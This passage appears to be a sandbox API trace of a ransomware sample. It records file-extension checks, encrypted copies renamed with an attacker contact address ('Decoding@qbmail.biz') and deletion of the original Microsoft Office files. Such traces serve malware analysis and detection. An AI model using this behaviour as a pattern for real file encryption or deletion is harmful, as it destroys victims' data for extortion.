CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.253] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1166) returned 1 [0079.253] CloseHandle (hObject=0x1d8) returned 1 [0079.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0079.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.253] lstrlenW (lpString=".doc") returned 4 [0079.253] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.253] lstrlenW (lpString=".docx") returned 5 [0079.254] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0079.254] lstrlenW (lpString=".pdf") returned 4 [0079.254] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.254] lstrlenW (lpString=".xls") returned 4 [0079.254] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.254] lstrlenW (lpString=".xlsx") returned 5 [0079.254] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0079.254] lstrlenW (lpString=".ppt") returned 4 [0079.254] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.254] lstrlenW (lpString=".zip") returned 4 [0079.254] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.254] lstrlenW (lpString=".rar") returned 4 [0079.254] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.254] lstrlenW (lpString=".bz2") returned 4 [0079.254] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.254] lstrlenW (lpString=".7z") returned 3 [0079.254] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.254] lstrlenW (lpString=".dbf") returned 4 [0079.254] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.255] lstrlenW (lpString=".1cd") returned 4 [0079.255] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.255] lstrlenW (lpString=".jpg") returned 4 [0079.255] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.255] lstrlenW (lpString=".doc") returned 4 [0079.255] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.255] lstrlenW (lpString=".docx") returned 5 [0079.255] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0079.255] lstrlenW (lpString=".pdf") returned 4 [0079.255] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.255] lstrlenW (lpString=".xls") returned 4 [0079.255] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.255] lstrlenW (lpString=".xlsx") returned 5 [0079.256] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0079.256] lstrlenW (lpString=".ppt") returned 4 [0079.256] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.256] lstrlenW (lpString=".zip") returned 4 [0079.256] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.256] lstrlenW (lpString=".rar") returned 4 [0079.256] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.256] lstrlenW (lpString=".bz2") returned 4 [0079.256] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.256] lstrlenW (lpString=".7z") returned 3 [0079.256] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.256] lstrlenW (lpString=".dbf") returned 4 [0079.256] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.256] lstrlenW (lpString=".1cd") returned 4 [0079.256] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0079.256] lstrlenW (lpString=".jpg") returned 4 [0079.256] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.257] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0079.257] lstrlenW (lpString="web.xml") returned 7 [0079.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.270] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=207) returned 1 [0079.270] CloseHandle (hObject=0x1d8) returned 1 [0079.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0079.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0079.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0079.270] lstrlenW (lpString=".doc") returned 4 [0079.271] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.271] lstrlenW (lpString=".docx") returned 5 [0079.271] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0079.271] lstrlenW (lpString=".pdf") returned 4 [0079.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.271] lstrlenW (lpString=".xls") returned 4 [0079.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.271] lstrlenW (lpString=".xlsx") returned 5 [0079.271] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0079.271] lstrlenW (lpString=".ppt") returned 4 [0079.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0079.271] lstrlenW (lpString=".zip") returned 4 [0079.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.271] lstrlenW (lpString=".rar") returned 4 [0079.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.272] lstrlenW (lpString=".bz2") returned 4 [0079.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.272] lstrlenW (lpString=".7z") returned 3 [0079.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0079.272] lstrlenW (lpString=".dbf") returned 4 [0079.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.334] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0079.334] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0079.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0079.335] GetLastError () returned 0x0 [0079.335] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x795, lpOverlapped=0x0) returned 1 [0079.393] WriteFile (in: hFile=0x1f8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0079.395] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0079.395] WriteFile (in: hFile=0x1f8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0079.395] SetEndOfFile (hFile=0x1f8) returned 1 [0079.396] CloseHandle (hObject=0x1f8) returned 1 [0079.400] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0079.400] SetEndOfFile (hFile=0x204) returned 1 [0079.402] CloseHandle (hObject=0x204) returned 1 [0079.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0079.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0079.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.403] lstrlenW (lpString=".doc") returned 4 [0079.403] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0079.403] lstrlenW (lpString=".docx") returned 5 [0079.403] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0079.403] lstrlenW (lpString=".pdf") returned 4 [0079.403] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0079.403] lstrlenW (lpString=".xls") returned 4 [0079.403] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0079.403] lstrlenW (lpString=".xlsx") returned 5 [0079.784] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0079.784] lstrlenW (lpString=".ppt") returned 4 [0079.784] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0079.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.784] lstrlenW (lpString=".zip") returned 4 [0079.784] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0079.784] lstrlenW (lpString=".rar") returned 4 [0079.784] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0079.785] lstrlenW (lpString=".bz2") returned 4 [0079.785] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0079.785] lstrlenW (lpString=".7z") returned 3 [0079.785] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0079.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.785] lstrlenW (lpString=".dbf") returned 4 [0079.785] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0079.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.785] lstrlenW (lpString=".1cd") returned 4 [0079.785] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0079.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.785] lstrlenW (lpString=".jpg") returned 4 [0079.785] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0079.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.785] lstrlenW (lpString=".doc") returned 4 [0079.785] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0079.786] lstrlenW (lpString=".docx") returned 5 [0079.786] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0079.786] lstrlenW (lpString=".pdf") returned 4 [0079.786] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0079.786] lstrlenW (lpString=".xls") returned 4 [0079.786] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0079.786] lstrlenW (lpString=".xlsx") returned 5 [0079.786] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0079.786] lstrlenW (lpString=".ppt") returned 4 [0079.786] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0079.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.786] lstrlenW (lpString=".zip") returned 4 [0079.786] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0079.786] lstrlenW (lpString=".rar") returned 4 [0079.786] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0079.786] lstrlenW (lpString=".bz2") returned 4 [0079.786] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0079.786] lstrlenW (lpString=".7z") returned 3 [0079.786] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0079.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.787] lstrlenW (lpString=".dbf") returned 4 [0079.787] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0079.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.787] lstrlenW (lpString=".1cd") returned 4 [0079.787] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0079.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0079.787] lstrlenW (lpString=".jpg") returned 4 [0079.787] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0079.787] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.787] lstrlenW (lpString="SETUP.XML") returned 9 [0079.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.873] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1452) returned 1 [0080.873] CloseHandle (hObject=0x208) returned 1 [0080.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0080.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0080.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.874] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0080.874] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0080.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0080.875] GetLastError () returned 0x0 [0080.875] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x5ac, lpOverlapped=0x0) returned 1 [0081.126] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0081.128] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0081.128] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0081.128] SetEndOfFile (hFile=0x1d0) returned 1 [0081.128] CloseHandle (hObject=0x1d0) returned 1 [0081.130] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0081.130] SetEndOfFile (hFile=0x208) returned 1 [0081.132] CloseHandle (hObject=0x208) returned 1 [0081.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0081.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0081.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.133] lstrlenW (lpString=".doc") returned 4 [0081.133] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.133] lstrlenW (lpString=".docx") returned 5 [0081.133] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.133] lstrlenW (lpString=".pdf") returned 4 [0081.133] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.133] lstrlenW (lpString=".xls") returned 4 [0081.133] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.133] lstrlenW (lpString=".xlsx") returned 5 [0081.133] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.133] lstrlenW (lpString=".ppt") returned 4 [0081.133] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.134] lstrlenW (lpString=".zip") returned 4 [0081.134] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.134] lstrlenW (lpString=".rar") returned 4 [0081.134] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.134] lstrlenW (lpString=".bz2") returned 4 [0081.134] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.134] lstrlenW (lpString=".7z") returned 3 [0081.134] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.134] lstrlenW (lpString=".dbf") returned 4 [0081.134] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.134] lstrlenW (lpString=".1cd") returned 4 [0081.134] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.134] lstrlenW (lpString=".jpg") returned 4 [0081.134] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.135] lstrlenW (lpString=".doc") returned 4 [0081.135] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.135] lstrlenW (lpString=".docx") returned 5 [0081.135] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0081.136] lstrlenW (lpString=".pdf") returned 4 [0081.136] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.136] lstrlenW (lpString=".xls") returned 4 [0081.136] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.136] lstrlenW (lpString=".xlsx") returned 5 [0081.136] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0081.136] lstrlenW (lpString=".ppt") returned 4 [0081.136] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.136] lstrlenW (lpString=".zip") returned 4 [0081.136] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.136] lstrlenW (lpString=".rar") returned 4 [0081.136] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.136] lstrlenW (lpString=".bz2") returned 4 [0081.136] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.136] lstrlenW (lpString=".7z") returned 3 [0081.136] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.136] lstrlenW (lpString=".dbf") returned 4 [0081.136] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.137] lstrlenW (lpString=".1cd") returned 4 [0081.137] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0081.137] lstrlenW (lpString=".jpg") returned 4 [0081.137] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.137] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0081.137] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0081.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0081.145] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=5557) returned 1 [0081.145] CloseHandle (hObject=0x1ec) returned 1 [0081.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0081.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 